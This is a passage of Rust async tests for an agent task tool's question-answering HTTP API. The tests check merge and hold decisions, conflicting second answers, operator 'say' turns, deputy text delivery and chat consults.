12630        // and answered question were flushed. Retrying must finish, not resume.
12631        state.merge_decision = Some(crate::merge_decision::Decision {
12632            question: q.id.clone(),
12633            target: crate::merge_decision::Target {
12634                pr: state.pr.as_ref().unwrap().url.clone(),
12635                head: "head".into(),
12636                language: "ja".into(),
12637            },
12638            choice: crate::merge_decision::DISMISS.into(),
12639            closed: false,
12640            replacement_run: None,
12641            replacement_pr: None,
12642        });
12643        state.status = RunStatus::Superseded;
12644        state.save_under(fx.home.path()).unwrap();
12645        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12646        let path = format!("/api/questions/{}/answer", q.id);
12647        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12648        let done = fx.queue().get(&task.id).unwrap();
12649        assert_eq!(done.status, TaskStatus::Done);
12650        assert_eq!(done.runs, task.runs);
12651        assert_eq!(done.instruction, task.instruction);
12652        assert!(done.action_applied(&q.id));
12653        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12654        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12655        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12656    }
12657
12658    #[tokio::test]
12659    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12660        let home = TempDir::new().unwrap();
12661        let ui = Arc::new(Ui::new(
12662            Queue::at(home.path().join("queue")),
12663            Questions::at(home.path().join("questions")),
12664            Talks::at(home.path().join("talks")),
12665            home.path().join("runs"),
12666            home.path().to_owned(),
12667            home.path().to_owned(),
12668        ));
12669        let talks = &ui.talks;
12670        let chat =
12671            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12672        let mut q = Question::new(
12673            "run".into(),
12674            crate::land::APPROVAL_NODE.into(),
12675            "land".into(),
12676            "Merge?".into(),
12677            String::new(),
12678            vec!["merge".into(), "hold".into()],
12679        );
12680        q.routed_task = Some("task".into());
12681        q.routed_chat = Some(chat.id.clone());
12682        q.merge_target = Some(crate::merge_decision::Target {
12683            pr: "https://example.test/pull/1".into(),
12684            head: "head-a".into(),
12685            language: "en".into(),
12686        });
12687        ui.questions.put(&mut q).unwrap();
12688        let send = |body| {
12689            question_answer(
12690                State(ui.clone()),
12691                Path(q.id.clone()),
12692                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12693            )
12694        };
12695        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12696        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12697        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12698        assert!(send(wrong_chat).await.is_err());
12699        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12700        assert!(send(stale).await.is_err());
12701        assert!(ui.questions.get(&q.id).unwrap().status.open());
12702        assert!(send(button.clone()).await.is_ok());
12703        assert_eq!(
12704            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12705            Some("merge")
12706        );
12707        assert!(send(button).await.is_err());
12708    }
12709
12710    #[tokio::test]
12711    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12712        let home = TempDir::new().unwrap();
12713        let ui = Arc::new(Ui::new(
12714            Queue::at(home.path().join("queue")),
12715            Questions::at(home.path().join("questions")),
12716            Talks::at(home.path().join("talks")),
12717            home.path().join("runs"),
12718            home.path().to_owned(),
12719            home.path().to_owned(),
12720        ));
12721        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12722            let mut q = Question::new(
12723                "run".into(),
12724                crate::land::APPROVAL_NODE.into(),
12725                "land".into(),
12726                "Merge?".into(),
12727                String::new(),
12728                vec!["merge".into(), choice.into()],
12729            );
12730            q.routed_task = Some("task".into());
12731            q.merge_target = Some(crate::merge_decision::Target {
12732                pr: "https://example.test/pull/1".into(),
12733                head: "head-a".into(),
12734                language: "en".into(),
12735            });
12736            ui.questions.put(&mut q).unwrap();
12737            let answer = |c: &str| {
12738                question_answer(
12739                    State(ui.clone()),
12740                    Path(q.id.clone()),
12741                    Ok(Json(
12742                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12743                            .unwrap(),
12744                    )),
12745                )
12746            };
12747            let _ = answer(choice).await.unwrap();
12748            assert_eq!(
12749                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12750                Some(choice)
12751            );
12752        }
12753    }
12754
12755    #[tokio::test]
12756    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12757        let home = TempDir::new().unwrap();
12758        let ui = Arc::new(Ui::new(
12759            Queue::at(home.path().join("queue")),
12760            Questions::at(home.path().join("questions")),
12761            Talks::at(home.path().join("talks")),
12762            home.path().join("runs"),
12763            home.path().to_owned(),
12764            home.path().to_owned(),
12765        ));
12766        let mut q = Question::new(
12767            "run".into(),
12768            crate::github_text::ASK_NODE.into(),
12769            "posting-gate".into(),
12770            "Post?".into(),
12771            String::new(),
12772            vec!["use fallback".into()],
12773        );
12774        q.routed_task = Some("task".into());
12775        ui.questions.put(&mut q).unwrap();
12776        let sent = question_answer(
12777            State(ui.clone()),
12778            Path(q.id.clone()),
12779            Ok(Json(
12780                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12781                    .unwrap(),
12782            )),
12783        )
12784        .await;
12785        let _ = sent.unwrap();
12786        assert_eq!(
12787            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12788            Some("use fallback")
12789        );
12790    }
12791
12792    #[tokio::test]
12793    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12794        let fx = Fixture {
12795            home: TempDir::new().unwrap(),
12796            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12797        };
12798        for choice in [
12799            crate::land::HOLD,
12800            crate::land::REPAIR,
12801            crate::land::APPROVE,
12802            crate::merge_decision::WITHDRAW,
12803            "reimplement:beta",
12804        ] {
12805            let mut q = Question::new(
12806                "old-run".into(),
12807                crate::land::APPROVAL_NODE.into(),
12808                "land".into(),
12809                "Decision".into(),
12810                "Review findings".into(),
12811                vec![
12812                    "merge".into(),
12813                    "hold".into(),
12814                    crate::land::REPAIR.into(),
12815                    crate::merge_decision::WITHDRAW.into(),
12816                    "reimplement:beta".into(),
12817                ],
12818            );
12819            q.merge_target = Some(crate::merge_decision::Target {
12820                pr: "https://github.com/example/repo/pull/42".into(),
12821                head: "exact-reviewed-head".into(),
12822                language: "ja".into(),
12823            });
12824            q.consult = Some(ask::ChatConsult {
12825                talk: "another-conversation".into(),
12826                at: jiff::Timestamp::now(),
12827            });
12828            fx.questions().put(&mut q).unwrap();
12829            let ui = Arc::new(Ui::new(
12830                fx.queue(),
12831                fx.questions(),
12832                fx.talks(),
12833                fx.runs(),
12834                fx.home.path().into(),
12835                std::path::PathBuf::from("."),
12836            ));
12837            let response = question_answer(
12838                State(ui.clone()),
12839                Path(q.id.clone()),
12840                Ok(Json(NewAnswer {
12841                    choice: Some(choice.into()),
12842                    text: None,
12843                    ..Default::default()
12844                })),
12845            )
12846            .await
12847            .unwrap();
12848            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12849            let disk = fx.questions().get(&q.id).unwrap();
12850            assert_eq!(disk.merge_target, q.merge_target);
12851            assert_eq!(disk.consult, q.consult);
12852            assert_eq!(disk.resolution().as_deref(), Some(choice));
12853            assert!(
12854                question_answer(
12855                    State(ui),
12856                    Path(q.id.clone()),
12857                    Ok(Json(NewAnswer {
12858                        choice: Some("merge".into()),
12859                        text: None,
12860                        ..Default::default()
12861                    }))
12862                )
12863                .await
12864                .is_err(),
12865                "an already settled decision cannot turn into merge approval"
12866            );
12867        }
12868    }
12869
12870    #[tokio::test]
12871    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12872        let fx = Fixture {
12873            home: TempDir::new().unwrap(),
12874            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12875        };
12876        let mut state = crate::land::tests::repair_state(true, true);
12877        state.status = RunStatus::Landing;
12878        state.parked = true;
12879        state.driver_exited = true;
12880        let mut task = Task::new(
12881            "Existing PR owner".into(),
12882            state.instruction.clone(),
12883            state.repo.clone(),
12884            Source::Human,
12885        );
12886        task.runs.push(state.id.clone());
12887        task.status = TaskStatus::Parked;
12888        fx.queue().put(&mut task).unwrap();
12889        let mut q = Question::new(
12890            state.id.clone(),
12891            crate::land::APPROVAL_NODE.into(),
12892            "land".into(),
12893            "Contested merge".into(),
12894            "Original evidence".into(),
12895            vec!["merge".into(), "hold".into()],
12896        );
12897        state.land_approval = Some(crate::run::LandApproval {
12898            question: q.id.clone(),
12899            head: "reviewed-head".into(),
12900        });
12901        state.save_under(fx.home.path()).unwrap();
12902        fx.questions().put(&mut q).unwrap();
12903        // A later repair answer on this old card supersedes this manual hold.
12904        task.hold_manual(Some("Pause this PR".into()));
12905        fx.queue().put(&mut task).unwrap();
12906        // POST directly, without a preceding GET: validation must see the
12907        // same durable upgrade that the card, CLI and chat see.
12908        let ui = Arc::new(Ui::new(
12909            fx.queue(),
12910            fx.questions(),
12911            fx.talks(),
12912            fx.runs(),
12913            fx.home.path().to_path_buf(),
12914            state.repo.clone(),
12915        ));
12916        let response = question_answer(
12917            State(ui),
12918            Path(q.id.clone()),
12919            Ok(Json(NewAnswer {
12920                choice: Some(crate::land::REPAIR.into()),
12921                text: None,
12922                ..Default::default()
12923            })),
12924        )
12925        .await
12926        .unwrap();
12927        assert_eq!(response.0.question.id, q.id);
12928        let upgraded = fx.questions().get(&q.id).unwrap();
12929        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12930        assert!(upgraded.detail.starts_with("Original evidence"));
12931        let claim = fx.queue().claim(&task.id).unwrap();
12932        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12933        assert!(
12934            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12935            "an existing driver keeps its claim"
12936        );
12937        drop(claim);
12938        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12939        let resumed = fx.queue().get(&task.id).unwrap();
12940        assert_eq!(
12941            resumed
12942                .resume_override
12943                .as_ref()
12944                .unwrap()
12945                .pinned_run
12946                .as_deref(),
12947            Some(state.id.as_str())
12948        );
12949        assert!(resumed.status.runnable());
12950        assert_eq!(resumed.instruction, task.instruction);
12951        assert_eq!(resumed.runs, task.runs);
12952        assert!(resumed.action_applied(&q.id));
12953        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12954        assert_eq!(fx.queue().list().len(), 1);
12955        assert_eq!(
12956            fx.queue().get(&task.id).unwrap().resume_override,
12957            resumed.resume_override
12958        );
12959        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12960        assert!(
12961            disk.merge_repairs.is_empty(),
12962            "only the claimed run driver may execute repair"
12963        );
12964        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12965    }
12966
12967    #[tokio::test]
12968    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12969        let fx = Fixture::start().await;
12970        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12971        let path = format!("/api/questions/{id}/answer");
12972
12973        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12974        assert_eq!(res.status, 200, "{}", res.body);
12975        let body = res.json();
12976        assert_eq!(body["status"], "answered");
12977        assert_eq!(body["answer"]["choice"], "Redis");
12978
12979        // Answered from the terminal in between the list and the tap: the UI
12980        // must be able to tell this from a bad request, so it can show the
12981        // recorded answer instead of an error.
12982        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12983        assert_eq!(again.status, 409, "{}", again.body);
12984        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12985    }
12986
12987    #[tokio::test]
12988    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12989        let home = tempfile::tempdir().unwrap();
12990        let ui = delta_test_ui(home.path());
12991        let mut q = Question::new(
12992            "task".into(),
12993            crate::land::APPROVAL_NODE.into(),
12994            "land".into(),
12995            "Explain?".into(),
12996            String::new(),
12997            vec!["hold".into()],
12998        );
12999        q.deputy = Some(ask::Deputy::new("context".into()));
13000        ui.questions.put(&mut q).unwrap();
13001        let mut cfg = stub_config();
13002        cfg.daemon.max_deputies = 0;
13003        let mut status = crate::daemon::Status::new();
13004        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13005        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13006        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13007        let error = question_say(
13008            State(ui.clone()),
13009            Path(q.id.clone()),
13010            Ok(Json(NewSay {
13011                body: "Explain the findings".into(),
13012            })),
13013        )
13014        .await
13015        .unwrap_err();
13016        assert_eq!(
13017            error.text_reason,
13018            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13019        );
13020        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13021
13022        let mut text = Question::new(
13023            "task".into(),
13024            "ask".into(),
13025            "operator".into(),
13026            "Which name?".into(),
13027            String::new(),
13028            vec![],
13029        );
13030        ui.questions.put(&mut text).unwrap();
13031        let Json(view) = question_answer(
13032            State(ui.clone()),
13033            Path(text.id.clone()),
13034            Ok(Json(NewAnswer {
13035                choice: None,
13036                text: Some("chosen name".into()),
13037                ..Default::default()
13038            })),
13039        )
13040        .await
13041        .unwrap();
13042        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13043        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13044    }
13045
13046    #[tokio::test]
13047    async fn question_text_handler_admission_without_transport() {
13048        let home = tempfile::tempdir().unwrap();
13049        let ui = delta_test_ui(home.path());
13050        let mut q = Question::new(
13051            "task".into(),
13052            crate::land::APPROVAL_NODE.into(),
13053            "land".into(),
13054            "May this PR merge?".into(),
13055            String::new(),
13056            vec!["hold".into()],
13057        );
13058        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13059        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13060        ui.questions.put(&mut q).unwrap();
13061        let say = || {
13062            Ok(Json(NewSay {
13063                body: "Explain the findings".into(),
13064            }))
13065        };
13066        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13067            .await
13068            .unwrap_err();
13069        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13070        let response = rejected.into_response();
13071        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13072            .await
13073            .unwrap();
13074        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13075        assert_eq!(body["code"], "question_text_unavailable");
13076        assert_eq!(body["reason"], "deputy_exhausted");
13077        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13078        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13079        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13080        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13081            .await
13082            .unwrap();
13083        assert_eq!(view.text_delivery.state, "live");
13084        assert!(view.question.waiter.is_none());
13085        assert!(view.question.cwd.is_none());
13086        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13087        ui.questions.drop_lease(&q.id);
13088        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13089            .await
13090            .unwrap_err();
13091        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13092        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13093        let _ = question_answer(
13094            State(ui.clone()),
13095            Path(q.id.clone()),
13096            Ok(Json(NewAnswer {
13097                choice: Some("hold".into()),
13098                text: None,
13099                ..Default::default()
13100            })),
13101        )
13102        .await
13103        .unwrap();
13104        assert_eq!(
13105            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13106            Some("hold")
13107        );
13108    }
13109
13110    #[tokio::test]
13111    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13112        let fx = Fixture::start().await;
13113        let store = fx.questions();
13114        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13115        store
13116            .update(&id, |q| {
13117                q.node = crate::land::APPROVAL_NODE.to_owned();
13118                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13119                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13120                Ok(())
13121            })
13122            .unwrap();
13123        let path = format!("/api/questions/{id}/say");
13124        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13125        assert_eq!(refused.status, 422, "{}", refused.body);
13126        assert!(
13127            refused.json()["error"]
13128                .as_str()
13129                .unwrap()
13130                .contains("deputy_exhausted")
13131        );
13132        assert!(store.get(&id).unwrap().thread.is_empty());
13133
13134        // A final live deputy is usable even with no ordinary waiter/cwd.
13135        store.beat(&id, ask::WaiterKind::Deputy);
13136        let view = fx.get("/api/questions").await.json();
13137        assert_eq!(view[0]["text_delivery"]["state"], "live");
13138        let accepted = fx
13139            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13140            .await;
13141        assert_eq!(accepted.status, 200, "{}", accepted.body);
13142        let before = std::fs::read(store.path_of(&id)).unwrap();
13143
13144        // The recipient exits between rendering and sending. Rejection must
13145        // preserve previously accepted text, the answer and delivery cursor.
13146        store.drop_lease(&id);
13147        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13148        assert_eq!(refused.status, 422, "{}", refused.body);
13149        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13150        let held = fx
13151            .post(
13152                &format!("/api/questions/{id}/answer"),
13153                Some(r#"{"choice":"hold"}"#),
13154            )
13155            .await;
13156        assert_eq!(held.status, 200, "{}", held.body);
13157        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13158    }
13159
13160    #[tokio::test]
13161    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13162        let repo = tempfile::tempdir().unwrap();
13163        let mut cfg = stub_config();
13164        cfg.daemon.max_deputies = 0;
13165        std::fs::write(
13166            repo.path().join("magi.toml"),
13167            toml::to_string(&cfg).unwrap(),
13168        )
13169        .unwrap();
13170        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13171        let mut status = crate::daemon::Status::new();
13172        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13173        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13174        let id = ask(&fx, "Explain?", &["hold"]);
13175        fx.questions()
13176            .update(&id, |q| {
13177                q.node = crate::land::APPROVAL_NODE.into();
13178                q.deputy = Some(ask::Deputy::new("context".into()));
13179                q.deputy.as_mut().unwrap().agent = "stub".into();
13180                Ok(())
13181            })
13182            .unwrap();
13183        cfg.daemon.max_deputies = 1;
13184        std::fs::write(
13185            repo.path().join("magi.toml"),
13186            toml::to_string(&cfg).unwrap(),
13187        )
13188        .unwrap();
13189        let view = fx.get("/api/questions").await.json();
13190        assert_eq!(view[0]["deputies_enabled"], true);
13191        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13192        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13193        let res = fx
13194            .post(
13195                &format!("/api/questions/{id}/say"),
13196                Some(r#"{"body":"Please explain"}"#),
13197            )
13198            .await;
13199        assert_eq!(res.status, 422, "{}", res.body);
13200        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13201    }
13202
13203    #[tokio::test]
13204    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13205        let fx = Fixture::start().await;
13206        let id = ask(&fx, "No seat", &[]);
13207        let store = fx.questions();
13208        let before = std::fs::read(store.path_of(&id)).unwrap();
13209        let res = fx
13210            .post(
13211                &format!("/api/questions/{id}/say"),
13212                Some(r#"{"body":"hello"}"#),
13213            )
13214            .await;
13215        assert_eq!(res.status, 422, "{}", res.body);
13216        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13217        let res = fx
13218            .post(
13219                &format!("/api/questions/{id}/answer"),
13220                Some(r#"{"text":"hello"}"#),
13221            )
13222            .await;
13223        assert_eq!(res.status, 200, "{}", res.body);
13224        assert_eq!(
13225            store.get(&id).unwrap().resolution().as_deref(),
13226            Some("hello")
13227        );
13228    }
13229
13230    #[tokio::test]
13231    async fn saying_something_appends_a_turn_without_answering() {
13232        let fx = Fixture::start().await;
13233        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13234        fx.questions().beat(&id, ask::WaiterKind::Asker);
13235        let path = format!("/api/questions/{id}/say");
13236
13237        let res = fx
13238            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13239            .await;
13240        assert_eq!(res.status, 200, "{}", res.body);
13241        let body = res.json();
13242        assert_eq!(body["status"], "open", "talking back is not a decision");
13243        assert_eq!(body["answer"], Value::Null);
13244        assert_eq!(body["thread"][0]["who"], "operator");
13245        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13246        assert_eq!(body["waiting_on_agent"], true);
13247        // Still open, still counted, still exactly one question.
13248        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13249    }
13250
13251    #[tokio::test]
13252    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13253        let fx = Fixture::start().await;
13254        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13255
13256        let list = fx.get("/api/questions").await.json();
13257        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13258
13259        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13260        assert_eq!(res.status, 409, "{}", res.body);
13261        let q = fx.questions().get(&id).unwrap();
13262        assert!(q.status.open());
13263        assert!(q.consult.is_none());
13264    }
13265
13266    #[tokio::test]
13267    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13268        let fx = Fixture::start().await;
13269        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13270        let cfg = Config {
13271            agents: vec![crate::config::AgentSpec {
13272                id: "mock".to_owned(),
13273                kind: crate::config::AgentKind::Command,
13274                model: None,
13275                command: vec!["true".to_owned()],
13276                extra_args: Vec::new(),
13277                env: Default::default(),
13278                prompt_delivery: None,
13279                max_turn_secs: None,
13280            }],
13281            ..Config::default()
13282        };
13283        let talk = crate::talk::begin(
13284            &fx.talks(),
13285            &cfg,
13286            fx.home.path().to_path_buf(),
13287            Some("mock"),
13288        )
13289        .unwrap();
13290        let mut task = Task::new(
13291            "t".to_owned(),
13292            "Do it".to_owned(),
13293            PathBuf::from("/repo/magi"),
13294            Source::Agent {
13295                run: talk.id.clone(),
13296                node: crate::queue::CHAT_NODE.to_owned(),
13297            },
13298        );
13299        task.start("20260902-000000-beef".to_owned());
13300        fx.queue().put(&mut task).unwrap();
13301
13302        let list = fx.get("/api/questions").await.json();
13303        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13304        assert_eq!(
13305            list[0]["choices"],
13306            serde_json::json!(["SQLite", "Redis"]),
13307            "the hand-over is never a choice"
13308        );
13309        fx.questions()
13310            .update(&id, |q| {
13311                q.node = crate::land::APPROVAL_NODE.into();
13312                q.choices = vec!["merge".into(), "hold".into()];
13313                Ok(())
13314            })
13315            .unwrap();
13316        let list = fx.get("/api/questions").await.json();
13317        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13318        assert_eq!(list[0]["can_consult_chat"], true);
13319        fx.questions()
13320            .update(&id, |q| {
13321                q.node = crate::bump::NOTICE_NODE.into();
13322                Ok(())
13323            })
13324            .unwrap();
13325        let list = fx.get("/api/questions").await.json();
13326        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13327        assert_eq!(list[0]["can_consult_chat"], false);
13328    }
13329
13330    #[tokio::test]
13331    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13332        let fx = Fixture::start().await;
13333        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13334        fx.questions()
13335            .update(&id, |q| {
13336                q.node = crate::land::APPROVAL_NODE.into();
13337                q.choices = vec!["merge".into(), "hold".into()];
13338                Ok(())
13339            })
13340            .unwrap();
13341        let cfg = Config {
13342            agents: vec![crate::config::AgentSpec {
13343                id: "mock".to_owned(),
13344                kind: crate::config::AgentKind::Command,
13345                model: None,
13346                command: vec!["true".to_owned()],
13347                extra_args: Vec::new(),
13348                env: Default::default(),
13349                prompt_delivery: None,
13350                max_turn_secs: None,
13351            }],
13352            ..Config::default()
13353        };
13354        // Not a git working tree, so its `magi.toml` is read from disk.
13355        let repo = fx.home.path().join("chat-repo");
13356        std::fs::create_dir_all(&repo).unwrap();
13357        let toml = repo.join("magi.toml");
13358        std::fs::write(&toml, "this is = = not toml").unwrap();
13359        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13360        let mut task = Task::new(
13361            "t".to_owned(),
13362            "Do it".to_owned(),
13363            PathBuf::from("/repo/magi"),
13364            Source::Agent {
13365                run: talk.id.clone(),
13366                node: crate::queue::CHAT_NODE.to_owned(),
13367            },
13368        );
13369        task.start("20260902-000000-beef".to_owned());
13370        fx.queue().put(&mut task).unwrap();
13371
13372        let path = format!("/api/questions/{id}/consult");
13373        let res = fx.post(&path, None).await;
13374        assert!(res.status >= 400, "{}", res.body);
13375        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13376        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13377
13378        std::fs::write(&toml, "").unwrap();
13379        let res = fx.post(&path, None).await;
13380        assert_eq!(res.status, 202, "{}", res.body);
13381        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13382        let q = fx.questions().get(&id).unwrap();
13383        assert!(q.status.open());
13384        assert!(q.answer.is_none());
13385        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13386        assert_eq!(res.json()["can_consult_chat"], true);
13387        let list = fx.get("/api/questions").await.json();
13388        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13389        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13390
13391        let res = fx
13392            .post(
13393                &format!("/api/questions/{id}/answer"),
13394                Some(r#"{"choice":"hold"}"#),
13395            )
13396            .await;
13397        assert_eq!(res.status, 200, "{}", res.body);
13398        assert_eq!(res.json()["answer"]["choice"], "hold");
13399        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13400        assert_eq!(res.json()["can_consult_chat"], false);
13401        assert_eq!(fx.post(&path, None).await.status, 409);
13402
13403        let mut talk = fx.talks().get(&talk.id).unwrap();
13404        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13405        let list = fx.get("/api/questions").await.json();
13406        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13407        assert_eq!(list[0]["origin_chat_closed"], true);
13408        assert_eq!(list[0]["can_consult_chat"], false);
13409
13410        fx.talks().remove(&talk.id).unwrap();
13411        let list = fx.get("/api/questions").await.json();
13412        assert_eq!(list[0]["origin_chat"], Value::Null);
13413        assert_eq!(list[0]["origin_chat_closed"], false);
13414        assert_eq!(list[0]["can_consult_chat"], false);
13415    }
13416
13417    #[tokio::test]
13418    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13419        let fx = Fixture::start().await;
13420        let store = fx.questions();
13421        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13422        store.beat(&id, ask::WaiterKind::Asker);
13423        assert_eq!(
13424            fx.get("/api/health").await.json()["questions_needs_owner"],
13425            1
13426        );
13427
13428        // The owner asks back instead of deciding: the ask bar, the nav badge
13429        // and the title must stop naming this question, because there is
13430        // nothing to decide until the agent answers - `status` alone cannot
13431        // say that, which is the whole reason `questions_needs_owner` exists
13432        // alongside `questions_open`.
13433        let res = fx
13434            .post(
13435                &format!("/api/questions/{id}/say"),
13436                Some(r#"{"body":"why not Postgres?"}"#),
13437            )
13438            .await;
13439        assert_eq!(res.status, 200, "{}", res.body);
13440        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13441        assert_eq!(
13442            fx.get("/api/health").await.json()["questions_needs_owner"],
13443            0,
13444            "waiting on the agent is not waiting on the owner"
13445        );
13446
13447        // `magi ask --thread` replying is what brings the owner count back -
13448        // the same event that would resume the CLI call blocked in `magi
13449        // ask`.
13450        let mut q = store.get(&id).expect("get");
13451        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13452            .expect("reply");
13453        store.put(&mut q).expect("put");
13454        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13455        assert_eq!(
13456            fx.get("/api/health").await.json()["questions_needs_owner"],
13457            1,
13458            "the agent's reply is what should light the banner back up"
13459        );
13460    }
13461
13462    #[tokio::test]
13463    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13464        let fx = Fixture::start().await;
13465        let store = fx.questions();
13466
13467        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13468        let res = fx
13469            .post(
13470                &format!("/api/questions/{empty_id}/say"),
13471                Some(r#"{"body":"   "}"#),
13472            )
13473            .await;
13474        assert_eq!(res.status, 400, "{}", res.body);
13475
13476        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13477        let mut answered = store.get(&answered_id).expect("get");
13478        answered
13479            .answer(Answer::Choice("SQLite".to_owned()))
13480            .expect("answer");
13481        store.put(&mut answered).expect("put");
13482        let res = fx
13483            .post(
13484                &format!("/api/questions/{answered_id}/say"),
13485                Some(r#"{"body":"still there?"}"#),
13486            )
13487            .await;
13488        assert_eq!(res.status, 409, "{}", res.body);
13489
13490        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13491        let mut abandoned = store.get(&abandoned_id).expect("get");
13492        abandoned.abandon("timed out");
13493        store.put(&mut abandoned).expect("put");
13494        let res = fx
13495            .post(
13496                &format!("/api/questions/{abandoned_id}/say"),
